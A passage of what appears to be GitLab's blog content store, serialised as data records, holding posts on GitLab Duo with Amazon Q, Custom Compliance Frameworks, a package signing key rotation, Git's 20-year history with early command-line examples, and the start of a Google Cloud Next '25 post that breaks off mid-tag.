Services (AWS).\n\nWith Amazon Q's agents directly embedded into GitLab's DevSecOps platform, developers maintain their familiar development environment while gaining powerful AI capabilities. The result is a frictionless experience that helps accelerate development cycles, reduce manual effort, and enhance code quality.\n\n“Participating in the early access program for GitLab Duo with Amazon Q has given us a glimpse into its transformative potential for our development workflows,” said Osmar Alonso, DevOps Engineer, Volkswagen Digital Solutions. “Even in its early stages, we saw how the deeper integration with autonomous agents could streamline our process, from code commit to production. We're excited to see how this technology empowers our team to focus on innovation and accelerate our digital transformation.\"\n\n## Agentic AI comes to complex customer environments\n\nBy combining agentic AI with secure, reliable cloud infrastructure, GitLab and AWS bring built-in security, scale, and reliability to complex customer environments, enabling them to realize the following benefits:\n\n__Unified developer experience for streamlined development__\n\nDevelopers can interact with Amazon Q through the GitLab Duo Chat interface from their preferred IDE or the GitLab web interface. This eliminates the need for context switching in other tools and helps developers stay focused on the project that they’re working on.\n\n__One solution for the entire software development lifecycle__\n\nCode suggestions and optimizations leverage AWS-specific patterns and practices, while testing tools understand AWS service interactions and dependencies. A common data store across all stages provides essential context to AI agents, enabling complete visibility and traceability for relevant actions.\n\n__Secure development with enterprise-grade guardrails__\n\nEnd-to-end security and compliance are built directly into the development platform with guardrails that help reduce risk without impeding velocity. This secure software development approach enforces transparency and auditability through AI agents while seamlessly integrating with AWS security services and compliance frameworks.\n\n## How to start using GitLab Duo with Amazon Q\n\nHere are five initial use cases we’re targeting to help teams build secure software faster with agentic AI: \n\n1. **Feature development acceleration** - Create issue descriptions, generate implementation plans based on your existing codebase, and produce complete merge requests ready for review. This drives feature delivery acceleration while maintaining consistency with internal development standards.  \n2. **Legacy application modernization** - Analyze your legacy Java codebase, create a comprehensive upgrade plan, and generate a merge request with all necessary code changes. This unlocks faster Java upgrade time, while providing a clear audit trail of all code transformations. Support for .NET and other languages is planned for future releases.  \n3. **Quality assurance enhancement** - Analyze code and automatically create comprehensive unit tests that understand your application logic and AWS service interactions. This increases test coverage, reduces manual test writing effort, and helps ensure consistent test quality across applications.  \n4. **Code review optimization** - Provide inline feedback on code changes, suggesting improvements based on development standards, highlighting security and performance considerations. This enables reduced code review cycles and delivery of higher-quality code merges for deployment.  \n5. **Vulnerability remediation** - Explain detected vulnerabilities in clear, detailed terms and one-click remediation based on recommended code changes, helping to significantly reduce the time from detection to remediation.\n\nWatch GitLab Duo with Amazon Q in action:\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1075753390?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Technical Demo: GitLab Duo with Amazon Q\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> #### Get the benefits of GitLab Duo with Amazon Q today\n> GitLab's unified, AI-powered DevSecOps platform with Amazon Q's advanced AI capabilities provides AWS customers with a solution that transforms how teams build and deploy software. To learn more about GitLab Duo with Amazon Q visit us at an upcoming [AWS Summit in a city near you](https://about.gitlab.com/events/aws-summits/) or [reach out to your GitLab representative](https://about.gitlab.com/partners/technology-partners/aws/#form).",[790,479,944,695,754,736],{"slug":1765,"featured":92,"template":678},"gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws","content:en-us:blog:gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws.yml","Gitlab Duo With Amazon Q Agentic Ai Optimized For Aws","en-us/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws.yml","en-us/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws",{"_path":1771,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1772,"content":1778,"config":1783,"_id":1785,"_type":16,"title":1786,"_source":17,"_file":1787,"_stem":1788,"_extension":20},"/en-us/blog/introducing-custom-compliance-frameworks-in-gitlab",{"title":1773,"description":1774,"ogTitle":1773,"ogDescription":1774,"noIndex":6,"ogImage":1775,"ogUrl":1776,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1776,"schema":1777},"Introducing Custom Compliance Frameworks in GitLab","Reduce manual tracking, accelerate audit readiness, and enforce controls faster natively within GitLab DevSecOps workflows.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099268/Blog/Hero%20Images/Blog/Hero%20Images/GitLab_Blog_Header_v4_YBzFAgt2EAkqQfqxNFEgj_1750099267940.svg","https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing Custom Compliance Frameworks in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ian Khor\"},{\"@type\":\"Person\",\"name\":\"Salman Ladha\"}],\n        \"datePublished\": \"2025-04-17\",\n      }",{"title":1773,"description":1774,"authors":1779,"heroImage":1775,"date":1742,"body":1781,"category":674,"tags":1782},[1780,750],"Ian Khor","Maintaining multiple compliance frameworks in fast-moving DevSecOps pipelines is more difficult than ever. As standards evolve independently and become more complex, organizations are buried in overlapping requirements and manual processes – draining developer time and slowing audits. \n\nTo solve this, GitLab is introducing Custom Compliance Frameworks and 50 out-of-the-box (OOTB) controls for a wide variety of compliance standards, including ISO 27001, the [CIS Benchmark](https://about.gitlab.com/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance/), and SOC 2.\n\nCustom Compliance Frameworks enable organizations to map multiple, overlapping controls from different standards and regulations into a single, unified framework. This flexibility brings much-needed efficiency, allowing businesses to tailor compliance programs in a way that makes sense for them. As these policies are embedded directly into GitLab’s CI/CD pipelines, compliance is enforced automatically – without disrupting development.\n\nAdditionally, with the OOTB controls, teams can accelerate compliance adoption, eliminating the need for external tools or complex custom configurations. By embedding compliance directly into the software development lifecycle, GitLab provides real-time visibility, automated enforcement, and simplified audit readiness so teams can ship secure, *compliant* software, faster. \n\nCustom Compliance Frameworks and OOTB controls are available now in GitLab Ultimate.\n\n## Mounting compliance pressure\n\nOrganizations must navigate various compliance frameworks to ensure adherence to numerous regulations and provide assurance to their customers. While these frameworks often share common controls, they rarely align. The result is a reality compliance teams know all too well: manual tracking through spreadsheets that breeds chaos, particularly during audit reviews. \n\nDevelopers are pulled into the compliance fray because modern software development is central to satisfying many of these controls. Instead of building and shipping secure software, they find themselves supporting evidence collection and compliance reviews. A Forrester Total Economic Impact™ Study of GitLab Ultimate found that prior to GitLab developers spent up to [80 hours annually on audit and compliance tasks](https://tei.forrester.com/go/GitLab/GitLabUltimate/?lang=en-us#Appendixes); time diverted from writing code and delivering business value.\n\nThis fragmented approach isn’t just inefficient, it’s costly. Compliance-related costs have [surged by 60% over the past five years](https://www.cato.org/sites/cato.org/files/2024-01/research-brief367.pdf), according to the CATO Institute. Without a system that connects compliance enforcement to where software is built, compliance will remain a burdensome afterthought that drives a wedge between developers and security teams. \n\n## Why should you care about Custom Compliance Frameworks\n\nOur customers have asked for greater flexibility when it comes to the tracking and enforcement of compliance within DevSecOps workflows. With this release, we’re happy to empower customers in the following ways: \n\n**Compliance that fits the business, not the other way around**\n\nRegulatory requirements overlap across multiple frameworks causing complexity in tracking and enforcement. Custom Compliance Frameworks allow organizations to create a unified framework that cleanly maps the requirements and controls of multiple standards, reducing manual effort and reliance on costly consultants.\n\n**Faster compliance from setup through to audits**\n\nStart monitoring compliance instantly with OOTB controls aligned with key compliance standards, such as SOC 2, ISO 27001, and CIS Benchmarks. Automated compliance monitoring and evidence collection cuts audit prep from weeks to days, ensuring developers can remain focused on delivering secure software. \n\n**Built-in compliance at the speed of development**\n\nUnlike traditional GRC tools that operate in isolation, GitLab enforces compliance directly in CI/CD pipelines where work happens. This deep integration means compliance validation occurs automatically as code moves through the pipeline, eliminating the traditional friction between development speed and security requirements.\n\nHere is an example of how a custom compliance framework can be created in GitLab:\n\n![custom compliance frameworks - edit requirement screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099291/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099291312.png)\n\n\u003Cbr>\u003C/br>\n\n![custom compliance frameworks - screen showing requirements](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099291/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099291312.png)\n\n## What to know about the Custom Compliance Frameworks rollout\n\nThere are two critical aspects of this release: \n\n- As of GitLab 18.0, Custom Compliance Frameworks will be enabled by default. \n- Starting in GitLab 18.0, we’ve enabled Custom Compliance Frameworks by default. We’ve also removed \"Standards\" from the Compliance Center to simplify the experience. Don’t worry — your existing compliance controls still apply. We’ve converted the GitLab Standard and SOC 2 standards into compliance framework labels and transformed their compliance checks into controls (our new term going forward).\n- Only GitLab Ultimate customers can define requirements, map controls, and enforce compliance frameworks. Premium users can still use compliance labels, but they won’t have access to the full feature set.\n\nTo learn more about Custom Compliance Frameworks, please watch this introduction video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/yfJ0oHCIn-8?si=z_Rt_ikry4RhjEAC\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Shift compliance left with GitLab  \n\nSimilar to security, shifting compliance left means addressing compliance requirements earlier in the software development lifecycle. Since software is central to an organization achieving compliance, embedding controls where software is created is crucial. With GitLab, security and compliance teams can define frameworks, map controls, and automate enforcement directly in CI/CD pipelines. Developers stay focused on shipping features, while compliance teams gain real-time visibility and automated evidence collection to be audit-ready. This unified approach bridges the gap between development and compliance, helping organizations achieve continuous compliance as part of their DevSecOps practice. \n\nAs a result, organizations using GitLab can reduce developer time spent on audit and compliance tasks by 90% and accelerate external audits from several weeks to under one week, according to [Forrester](https://tei.forrester.com/go/GitLab/GitLabUltimate/?lang=en-us#AnalysisOfBenefits). \n\nIf you’re an existing GitLab Ultimate customer and would like to learn more about how Custom Compliance Frameworks can help improve your compliance and security program, [visit our Compliance Center documentation](https://docs.gitlab.com/user/compliance/compliance_center/) where we cover implementation requirements, use cases, and more.\n\n***Note:** ”The Total Economic Impact™ Of GitLab Ultimate” is a commissioned study conducted by Forrester Consulting on behalf of GitLab, October 2024. Results are based on a composite organization representative of interviewed customers.*\n\n## Learn more\n\n- [How to ensure separation of duties and enforce compliance with GitLab](https://about.gitlab.com/blog/ensuring-compliance/)\n- [Meet regulatory standards with GitLab security and compliance](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/)\n- [Guide to fulfilling SOC 2 security requirements with GitLab](https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab/)",[674,695,754,479],{"slug":1784,"featured":6,"template":678},"introducing-custom-compliance-frameworks-in-gitlab","content:en-us:blog:introducing-custom-compliance-frameworks-in-gitlab.yml","Introducing Custom Compliance Frameworks In Gitlab","en-us/blog/introducing-custom-compliance-frameworks-in-gitlab.yml","en-us/blog/introducing-custom-compliance-frameworks-in-gitlab",{"_path":1790,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1791,"content":1796,"config":1801,"_id":1803,"_type":16,"title":1804,"_source":17,"_file":1805,"_stem":1806,"_extension":20},"/en-us/blog/gitlab-rotating-omnibus-linux-package-signing-key",{"title":1792,"description":1793,"ogTitle":1792,"ogDescription":1793,"noIndex":6,"ogImage":831,"ogUrl":1794,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1794,"schema":1795},"GitLab rotating Omnibus Linux package signing key","Learn who is impacted by the rotation of the GNU Privacy Guard (GPG) key and what you need to know.","https://about.gitlab.com/blog/gitlab-rotating-omnibus-linux-package-signing-key","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab rotating Omnibus Linux package signing key\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-04-16\",\n      }",{"title":1792,"description":1793,"authors":1797,"heroImage":831,"date":1798,"body":1799,"category":834,"tags":1800},[711],"2025-04-16","As part of our standard security practices, GitLab is rotating the GNU Privacy Guard (GPG) key used to sign all Omnibus Linux packages on April 16, 2025. This key ensures the integrity of our packages, verifying that they have not been tampered with after creation in our CI pipelines. This key is distinct from the repository metadata signing key used by package managers and the GPG signing key for the GitLab Runner. GitLab is revoking the existing key and will begin signing upcoming packages using a new key with fingerprint `98BF DB87 FCF1 0076 416C 1E0B AD99 7ACC 82DD 593D`.\n\n**What do I need to do?**\n\nIf you currently validate the GPG signatures of GitLab Omnibus packages, you will need to update your copy of the package signing key. Packages published before this article will remain signed with the previous key.\n\nThe package signing key is separate from the repository metadata signing key used by your operating system’s package managers (like `apt` or `yum`). Unless you are specifically verifying package signatures or have configured your package manager to verify the package signatures, no action is required to continue installing GitLab Omnibus packages.\n\n**Where can I find the new key?**\n\nThe new key can be downloaded from `packages.gitlab.com` using the URL:\n\n[https://packages.gitlab.com/gitlab/gitlab-ee/gpgkey/gitlab-gitlab-ee-CB947AD886C8E8FD.pub.gpg](https://packages.gitlab.com/gitlab/gitlab-ee/gpgkey/gitlab-gitlab-ee-CB947AD886C8E8FD.pub.gpg)\n\nPlease check the documentation for more information concerning [verification of the package signatures](https://docs.gitlab.com/omnibus/update/package_signatures#package-signatures).\n\n**What do I do if I still have problems?**\n\nPlease open an issue in the [omnibus-gitlab issue tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug).",[479,695,674],{"slug":1802,"featured":6,"template":678},"gitlab-rotating-omnibus-linux-package-signing-key","content:en-us:blog:gitlab-rotating-omnibus-linux-package-signing-key.yml","Gitlab Rotating Omnibus Linux Package Signing Key","en-us/blog/gitlab-rotating-omnibus-linux-package-signing-key.yml","en-us/blog/gitlab-rotating-omnibus-linux-package-signing-key",{"_path":1808,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1809,"content":1815,"config":1821,"_id":1823,"_type":16,"title":1824,"_source":17,"_file":1825,"_stem":1826,"_extension":20},"/en-us/blog/journey-through-gits-20-year-history",{"title":1810,"description":1811,"ogTitle":1810,"ogDescription":1811,"noIndex":6,"ogImage":1812,"ogUrl":1813,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1813,"schema":1814},"Journey through Git's 20-year history","Follow along as we reminisce about the first commit, the unique aspects of the earliest releases, and the confusion sparked by an update to the git-push(1) default behavior.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097380/Blog/Hero%20Images/Blog/Hero%20Images/git-20-years-opt2_TWNsNk8KH43b3jP0KLD0U_1750097380123.png","https://about.gitlab.com/blog/journey-through-gits-20-year-history","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Journey through Git's 20-year history\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2025-04-14\",\n      }",{"title":1810,"description":1811,"authors":1816,"heroImage":1812,"date":1818,"body":1819,"category":813,"tags":1820},[1817],"Patrick Steinhardt","2025-04-14","The Git project has just turned 20 years old. A lot has happened during these years, and while the conceptual design of Git hasn't changed significantly since its inception, the way users interact with the tool has changed quite significantly. We at GitLab are proud to build on top of this critical piece of software and to be part of its history.\n\nJoin us on a journey through Git's history to explore how it has evolved over the years.\n\n## The first commit\n\nThe first commit was made on April 7, 2005, by Linus Torvalds, the creator of the Linux kernel: `e83c5163316 (Initial revision\nof \"git\", the information manager from hell, 2005-04-07)`.\n\nAs we can see, this\ncommit does not contain a lot of files:\n\n```shell\n$ git ls-tree e83c5163316\n100644 blob a6bba79ba1f46a1bbf7773449c3bd2bb9bf48e8b\tMakefile\n100644 blob 27577f76849c09d3405397244eb3d8ae1d11b0f3\tREADME\n100644 blob 98a32a9ad39883c6d05a000a68511d4b1ee2b3c7\tcache.h\n100644 blob 74a0a234dd346fff51c773aa57d82fc4b83a8557\tcat-file.c\n100644 blob 840307af0cfaab31555795ce7175d5e9c9f981a0\tcommit-tree.c\n100644 blob 25dc13fe101b219f74007f3194b787dd99e863da\tinit-db.c\n100644 blob c924a6e0fc4c36bad6f23cb87ee59518c771f936\tread-cache.c\n100644 blob 1b47742d8cbc0d98903777758b7b519980e7499e\tread-tree.c\n100644 blob b8522886a15db861508fb6d03d4d88d6de912a4b\tshow-diff.c\n100644 blob 5085a5cb53ee52e1886ff6d46c609bdb2fc6d6cd\tupdate-cache.c\n100644 blob 921f981353229db0c56103a52609d35aff16f41b\twrite-tree.c\n```\n\nIn addition to build infrastructure, the first commit provides seven top-level commands:\n\n- `init-db` to initialize a new Git repository\n- `update-cache` to add files to the index\n- `write-tree` to take what is in the index and create a new tree from it\n- `read-tree` to read a tree object\n- `commit-tree` to create a commit from a tree\n- `cat-file` to read a specific object into a temporary file\n\nNote that the `git` command itself did not yet exist at this point in time.\nInstead, these commands had to be executed directly.\n\nAs example, let's create a\nnew repository:\n\n```shell\n$ mkdir repo\n$ cd repo\n$ init-db\ndefaulting to private storage area\n$ ls -a\n.  ..  .dircache\n```\n\nThat looks quite unfamiliar: There is no `.git` directory, but there is a\n`.dircache` directory. And where was the private storage area?\n\nThe early design of Git distinguished between a \"shared\" and \"private\" object\nstorage area. This object storage area was where all of your Git objects went. For example, your\ncommits and blobs.\n\nBy default, `init-db` created a private object storage area that was only used for\nthe managed directory that it was created in. A \"shared\" object storage area, on\nthe other hand, shared object content across multiple managed directories so\nthat the same object did not need to be stored twice.\n\n### Create a commit\n\nSo, now that we have a repository, how did we create a commit? Well, it isn't as\neasy as today's `git add . && git commit`. Instead, you had to:\n\n1. Update the index by calling `update-cache` for every file that you want to\n   add.\n1. Write a new tree by calling `write-tree`, which takes everything you have\n   added to the index.\n1. Set up environment variables to tell Git who you are.\n1. Write a commit object by calling `commit-tree`.\n\nLet’s create a commit in the repository:\n\n```shell\n$ echo content-1 >file-a\n$ update-cache file-a\n$ echo content-2 >file-b\n$ update-cache file-b\n$ write-tree\n3f143dfb48f2d84936626e2e5402e1f10c2050fb\n$ export COMMITTER_NAME=\"Patrick Steinhardt\"\n$ export COMMITER_EMAIL=ps@pks.im\n$ echo \"commit message\" | commit-tree 3f143dfb48f2d84936626e2e5402e1f10c2050fb\nCommitting initial tree 3f143dfb48f2d84936626e2e5402e1f10c2050fb\n5f8e928066c03cebe5fd0a0cc1b93d058155b969\n```\n\nThis isn't exactly ergonomic, but it works! Let's have a look at the generated\ncommit:\n\n```shell\n$ cat-file 5f8e928066c03cebe5fd0a0cc1b93d058155b969\ntemp_git_file_rlTXtE: commit\n$ cat temp_git_file_rlTXtE\ntree 3f143dfb48f2d84936626e2e5402e1f10c2050fb\nauthor Patrick Steinhardt \u003Cps@pks.im> Wed Mar 26 13:10:16 2025\ncommitter Patrick Steinhardt \u003Cps@pks.im> Wed Mar 26 13:10:16 2025\n\ncommit message\n```\n\nNote that `cat-file` didn't print the contents directly, but instead wrote\nit into a temporary file first. But the contents of the file looked exactly how a\nmodern commit would look.\n\n### Making changes\n\nNow that we have files, how do we get their status? You might have guessed it:\nthis could be done with `show-diff`:\n\n```shell\n$ show-diff\nfile-a: ok\nfile-b: ok\n\n$ echo modified-content >file-a\n$ show-diff\n--- -\t2025-03-26 13:14:53.457611094 +0100\n+++ file-a\t2025-03-26 13:14:52.230085756 +0100\n@@ -1 +1 @@\n-content-1\n+modified-content\nfile-a:  46d8be14cdec97aac6a769fdbce4db340e888bf8\nfile-b: ok\n```\n\nAmazingly, `show-diff` even knew to already generate diffs between the old and\nnew state of modified files! Funny enough though, Git achieved this by simply\nexecuting the diff(1) Unix tool.\n\nIn summary, all of this was still rather bare-bones, but it performed all of the\nnecessary duties to track history. There were still many limitations:\n\n- There was no easy way yet to switch between commits.\n- There was no way to show logs.\n- There were no branches, tags, or even references. Users were expected to manually\n  keep track of object IDs.\n- There was no way to synchronize two repositories with one another. Instead,\n  users were expected to use rsync(1) to synchronize the `.dircache` directories.\n- There was no way to perform merges.\n\n## Git 0.99\n\nThe first test release of Git was Version 0.99. This release came only two months after\nthe initial commit, but already contained 1,076 commits. There had been almost 50\ndifferent developers involved. The most frequent committer at this point was\nLinus himself, but he was closely followed by Junio Hamano, the current maintainer.\n\nA lot of things had changed since the initial commit:\n\n- Git started to track different development branches by using references, which\n  in most cases removes the need to manually track object IDs.\n- There was a new remote protocol that allows two repositories to exchange\n  objects with one another.\n- The `.dircache` directory was renamed to `.git`.\n- It became possible to merge single files with one another.\n\nThe most important visible change, though, was the introduction of\nthe top-level `git` command and its subcommands. Interestingly, this release\nalso created the notion of \"plumbing\" and \"porcelain\" commands:\n\n- \"Plumbing\" tools are the low-level commands that access the underlying Git\n  repository.\n- \"Porcelain\" tools are shell scripts that wrap the plumbing commands to provide\n  a nicer, high-level user interface.\n\nThis split still exists nowadays as documented in\n[`git(1)`](https://git-scm.com/docs/git#_high_level_commands_porcelain), but because \nmost porcelain tools have been rewritten from shell scripts to C, the line between these two\ncategories has started to blur significantly.\n\n## Linus hands over maintainership\n\nLinus never started Git out of love for version control systems, but because there was a need to replace BitKeeper for Linux kernel development. As such, he never planned to keep maintaining Git forever. The intent was to maintain it until someone trustworthy stepped up.\n\nThat someone was Junio Hamano. Junio got involved in Git about a week after Linus’s first commit and already had a couple of hundred commits in the history after the Git 0.99 release. So, on July 26, 2005, [Linus made Junio the new maintainer of the Git project](https://lore.kernel.org/git/Pine.LNX.4.58.0507262004320.3227@g5.osdl.org/). While Linus has continued to contribute to Git, his involvement with the project faded over time, which is only natural considering that he is quite busy as head of the Linux project.\n\nJunio is still leading the Git project today.\n\n## Git 1.0\n\nThe first major release of Git happened on December 21, 2005, by\nJunio. Interestingly enough, there had been 34 releases between Version 0.99\nand Version 1.0: 0.99.1 to 0.99.7, 0.99.7a to 0.99.7d, 0.99.8 to 0.99.8g, and\n0.99.9 up to 0.99.9n.\n\nOne of the more important milestones since 0.99 was probably the addition of the `git-merge(1)`\ncommand that allows one to merge two trees with one another. This is in stark\ncontrast to before, where one had to basically script the merges file by file.\n\n### Remotes\n\nAnother significant change was the introduction of shorthand notation for\nremote repositories. While Git already knew how to talk to remote repositories,\nusers always had to specify the URL to fetch from every single time they wanted\nto fetch changes from it. This was quite unfriendly to the users, because, typically, they wanted to interact with the same remote over and over again.\n\nYou may know about how remotes work now, but the mechanism that existed at  \nthis point in time was still significantly different. There was no `git-remote(1)`  \ncommand that you could use to manage your remotes. Remotes weren't even stored  \nin your `.git/config` file. In fact, when remotes were first introduced in  \nVersion 0.99.2, Git didn't even *have* config files.\n\nInstead, you had to configure remotes by writing a file into the  \n`.git/branches` directory, which nowadays feels somewhat counterintuitive. But  \nthe mechanism still works today:\n\n```shell\n$ git init repo --\nInitialized empty Git repository in /tmp/repo/.git/\n$ cd repo\n$ mkdir .git/branches\n$ echo https://gitlab.com/git-scm/git.git >.git/branches/origin\n$ git fetch origin refs/heads/master\n```\n\nBut that isn't all! The directory was soon renamed in Git Version 0.99.5 to \"remotes\", so there are a total of three different ways to configure remotes in a modern Git client.\n\nMost of you have probably never used either `.git/branches` nor `.git/remotes`,  \nand both of these mechanisms have been deprecated since 2005 and 2011,  \nrespectively. Furthermore, these directories will finally be removed in Git 3.0.\n\n## Git branding\n\nIn 2007, the first Git logo was created. It’s arguable if you can call it a logo, because it only consisted of three red minus signs above three green plus signs, reflecting what the output of `git diff` looks like:\n\n![three red minus signs above three green plus signs, reflecting what the output of `git diff`](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097388/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097387927.png)\n\nA bit later, in 2008, the website [git-scm.com](https://git-scm.com) was launched:\n\n![landing page for git-scm.com in 2006](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097388/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097387930.png)\n\nIn 2012, the Git website was [revamped](https://lore.kernel.org/git/CAP2yMaJy=1c3b4F72h6jL_454+0ydEQNXYiC6E-ZeQQgE0PcVA@mail.gmail.com/) by Scott Chacon and Jason Long. It looks pretty similar to how it looks today:\n\n![git website revamped in 2012](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097388/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097387932.png)\n\nThis site redesign sports the new red-orange logo designed by Jason Long; the same logo that's currently used:\n\n![git logo](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097388/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097387934.png)\n\n## Git 2.0\n\nGit already started to look a lot like modern Git at the 1.0 release, so we\nare going to do a big historical jump to Git 2.0. This version was\nreleased around 10 years after Git 1.0 and was the first release that\nintentionally contained backwards-incompatible changes in central workflows.\n\n### `git-push(1)` default behavior\n\nThe change that arguably caused most the confusion in this release was the\nupdated default behavior of `git-push(1)`.\n\nThere are a couple of different actions that Git could take when you push\ninto a remote repository and don’t specify exactly what you want to push:\n\n- Git could refuse to do anything, asking you to provide more information of\n  what exactly you want to push.\n- Git could push the currently checked out branch.\n- Git could push the currently checked out branch, but only if it knows that it\n  has an equivalent on the remote side.\n- Git could push all of your branches that have an equivalent on the remote side.\n\nThe behavior of modern Git is the so-called \"simple\" strategy, which is the third\noption above. But before Git 2.0, the default behavior was the \"matching\"\nstrategy, which is the last option.\n\nThe “matching” strategy was significantly more risky. You always had to make sure that you\nwere fine with pushing all of your local branches that have an equivalent on the\nremote side before pushing. Otherwise, you might have ended up\npushing changes unintentionally. As such, it was decided to change the strategy\nto \"simple\" to reduce the risk and help out Git beginners.\n\n### `git-add(1)`\n\nAnother big change was the default behavior of `git-add(1)` when it comes to  \ntracked files that have been deleted. Before Git 2.0, `git-add(1)` wouldn't  \nstage deleted files automatically, but you instead had to manually add each  \ndeleted file by using `git-rm(1)` to make them part of a commit. With Git 2.0, this behavior was changed so that `git-add(1)` also adds deleted files to the index.\n\n## Celebrating the Git community\n\nI won’t bore you with the details around how Git works nowadays – you probably use it daily anyway, and, if you don’t, there are many tutorials out there that can help you get started. Instead, let’s celebrate the Git community, which has ensured that Git works as well as it does 20 years later.\n\nOver time, Git has:\n\n- Accumulated 56,721 commits as of the Git 2.49 release.\n- Received contributions from more than 2,000 different individuals.\n- Published 60 major releases.\n\nThe Git project also has a steady influx of new contributors by taking part in [Google Summer of Code](https://summerofcode.withgoogle.com/) and [Outreachy](https://www.outreachy.org/). New contributors like these are what will ensure that the Git project will remain healthy in the long term.\n\nAs such, let me extend a big thank you to all contributors. It is your contributions that have made Git possible.\n\n## Going forward\n\nIt should be an uncontroversial take to say that Git has essentially won the competition of version control systems. It has significant market share, and it isn't easy to find open source projects that are using a version control system other than Git. So it has clearly done a lot of things right.\n\nThat being said, its development hasn't stood still, and there are still many challenges ahead of Git. On the one hand, we have technical challenges:\n- modernization of an aging code base  \n- scaling with the ever-growing size of monorepos  \n- handling large binary files better\n\nAnd on the other hand, there are problems of a more social type:\n- improving the usability of Git  \n- fostering the Git community so that the project remains healthy in the long  \n  term\n\nThere always remains work to be done and we at GitLab are proud to be part  \nof these efforts to make sure that Git continues to be a great version control  \nsystem for the next 20 years.\n\n## Read more about Git\n\n- [Celebrating Git's 20th anniversary with creator Linus Torvalds](https://about.gitlab.com/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds/)\n- [What's new in Git 2.49.0?](https://about.gitlab.com/blog/whats-new-in-git-2-49-0/)  \n- [What’s new in Git 2.48.0?](https://about.gitlab.com/blog/whats-new-in-git-2-48-0/)  \n- [A beginner's guide to the Git reftable format](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/)",[815,1067],{"slug":1822,"featured":92,"template":678},"journey-through-gits-20-year-history","content:en-us:blog:journey-through-gits-20-year-history.yml","Journey Through Gits 20 Year History","en-us/blog/journey-through-gits-20-year-history.yml","en-us/blog/journey-through-gits-20-year-history",{"_path":1828,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1829,"content":1835,"config":1840,"_id":1842,"_type":16,"title":1843,"_source":17,"_file":1844,"_stem":1845,"_extension":20},"/en-us/blog/gitlab-at-next-25-transforming-app-modernization",{"title":1830,"description":1831,"ogTitle":1830,"ogDescription":1831,"noIndex":6,"ogImage":1832,"ogUrl":1833,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1833,"schema":1834},"GitLab at Next '25: Transforming app modernization","GitLab participated in Google Cloud Next ‘25 and received a fifth consecutive Google Cloud Technology Partner of the Year recognition.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663121/Blog/Hero%20Images/LogoLockupPlusLight.png","https://about.gitlab.com/blog/gitlab-at-next-25-transforming-app-modernization","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab at Next '25: Transforming app modernization\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Regnard Raquedan\"}],\n        \"datePublished\": \"2025-04-11\",\n      }",{"title":1830,"description":1831,"authors":1836,"heroImage":1832,"date":1837,"body":1838,"category":736,"tags":1839},[919],"2025-04-11","GitLab's presence at Google Cloud Next '25 highlighted our strong partnership with Google Cloud and our joint commitment to accelerating software development and delivery. We were recognized again as a Technology Partner of the Year, and included in key enterprise initiatives like Google Distributed Cloud (GDC) Build Partners and [Startup Perks from Google Cloud](https://cloud.google.com/blog/topics/startups/why-global-startups-are-gathering-at-google-cloud-next25?e=13802955). Our team members demonstrated for attendees how GitLab is positioned to be a critical DevSecOps service for Google Cloud customers.\n\n## Continuing our award-winning partnership excellence\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175937/Blog/nempa4yvfutedz3fpuxx.jpg\" 